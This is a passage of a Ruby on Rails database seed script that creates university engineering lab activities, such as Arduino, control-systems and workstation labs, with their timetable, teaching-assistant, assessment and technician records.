a556.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a556.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a556.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a556.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a557 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode34\").first_or_create!(name: \"Extracurricular Activity\",\n name_abrv: \"NTA\", archived: false, in_drive: false, user_id: 2)\n at557 = ActivityTimetable.where(activity_id: a557.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a557.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a557.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a557.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a557.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a558 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode35\").first_or_create!(name: \"Project Space Induction\",\n name_abrv: \"PSIDUCT\", archived: true, in_drive: false, user_id: 4)\n at558 = ActivityTimetable.where(activity_id: a558.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a558.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a558.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a558.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a558.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a559 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode36\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA SCREW\", archived: true, in_drive: false, user_id: 4)\n at559 = ActivityTimetable.where(activity_id: a559.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a559.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a559.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a559.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a559.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a559.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a560 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode37\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA STIRING\", archived: true, in_drive: false, user_id: 1)\n at560 = ActivityTimetable.where(activity_id: a560.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a560.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a560.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a560.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a560.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a560.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a561 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1730\").first.id, code: \"unknowncode38\").first_or_create!(name: \"Hole-in-plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: false, user_id: 1)\n at561 = ActivityTimetable.where(activity_id: a561.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a561.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a561.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a561.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a561.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a561.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a562 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC330\").first.id, code: \"unknowncode39\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: true, in_drive: false, user_id: 3)\n at562 = ActivityTimetable.where(activity_id: a562.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a562.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a562.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a562.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a562.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a562.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a563 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode40\").first_or_create!(name: \"CFD Validation\",\n name_abrv: \"CFDVALID\", archived: true, in_drive: false, user_id: 4)\n at563 = ActivityTimetable.where(activity_id: a563.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a563.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a563.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a563.id).first_or_create!(assess_weight: nil, notes: \"NOT RUNNING\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a563.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a563.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a564 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"unknowncode41\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 4)\n at564 = ActivityTimetable.where(activity_id: a564.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a564.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a564.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a564.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a564.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a564.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a565 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"unknowncode42\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: true, in_drive: false, user_id: 4)\n at565 = ActivityTimetable.where(activity_id: a565.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 84, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a565.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a565.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a565.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a565.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a565.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a566 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"unknowncode43\").first_or_create!(name: \"Design and Build Project\",\n name_abrv: \"ShaddowBots\", archived: true, in_drive: false, user_id: 4)\n at566 = ActivityTimetable.where(activity_id: a566.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a566.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a566.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a566.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a566.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a566.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a567 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode44\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: true, in_drive: false, user_id: 1)\n at567 = ActivityTimetable.where(activity_id: a567.id).first_or_create!(duration: 180, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a567.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a567.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a567.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a567.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a568 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"unknowncode45\").first_or_create!(name: \"Time and Frequency Domain Servo Analysis Laboratory\",\n name_abrv: \"Servo T+F\", archived: true, in_drive: false, user_id: 4)\n at568 = ActivityTimetable.where(activity_id: a568.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a568.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a568.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a568.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a568.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a569 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"unknowncode46\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: true, in_drive: false, user_id: 3)\n at569 = ActivityTimetable.where(activity_id: a569.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 90, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a569.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a569.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a569.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a569.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a569.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a570 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"unknowncode47\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 5)\n at570 = ActivityTimetable.where(activity_id: a570.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a570.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a570.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a570.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a570.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a570.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a571 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode48\").first_or_create!(name: \"Introduction to Arduino – Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: true, in_drive: false, user_id: 4)\n at571 = ActivityTimetable.where(activity_id: a571.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a571.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a571.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a571.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a571.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a571.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a572 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode49\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: true, in_drive: false, user_id: 1)\n at572 = ActivityTimetable.where(activity_id: a572.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a572.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a572.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a572.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a572.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a572.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a573 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode50\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: true, in_drive: false, user_id: 1)\n at573 = ActivityTimetable.where(activity_id: a573.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a573.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a573.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a573.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a573.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a573.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a574 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode51\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 1\", archived: true, in_drive: true, user_id: 3)\n at574 = ActivityTimetable.where(activity_id: a574.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a574.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a574.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a574.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a574.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a575 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode52\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 2\", archived: true, in_drive: false, user_id: 4)\n at575 = ActivityTimetable.where(activity_id: a575.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a575.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a575.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a575.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a575.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a576 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"unknowncode53\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS+\", archived: true, in_drive: false, user_id: 2)\n at576 = ActivityTimetable.where(activity_id: a576.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a576.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a576.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a576.id).first_or_create!(assess_weight: 